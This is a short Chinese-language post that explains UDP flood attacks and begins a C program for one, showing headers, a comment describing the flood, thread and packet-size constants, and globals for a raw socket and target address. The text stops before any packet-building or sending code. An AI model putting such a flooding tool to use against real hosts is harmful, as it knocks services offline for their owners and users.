1.概述
UDP攻击向目标主机的UDP端口发送大量的UDP报文,造成目标主机的端口堵塞,达到攻击的目的。建立多线程,利用原始套接字封装UDP与IP的首部,然后发送UDP报文,攻击目标主机.
2. UDP攻击实例
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/signal.h>
#include <fcntl.h>
#include <time.h>
#include <netdb.h>
#include <errno.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <netinet/udp.h>
/**
UDP洪水攻击:
不停的向目的主机发送UDP包,让目的主机接收端口拥塞,以达到攻击的目的
**/
#define MAXCHILD 2
#define K 1024
#define DATUML 1*K
static int PROTO_UDP=-1;//UDP协议类型
static unsigned long dest=0;//目的地址,32位二进制
static int dest_port=0;
static int rawsock=-1;//原始套接字
static int alive=0;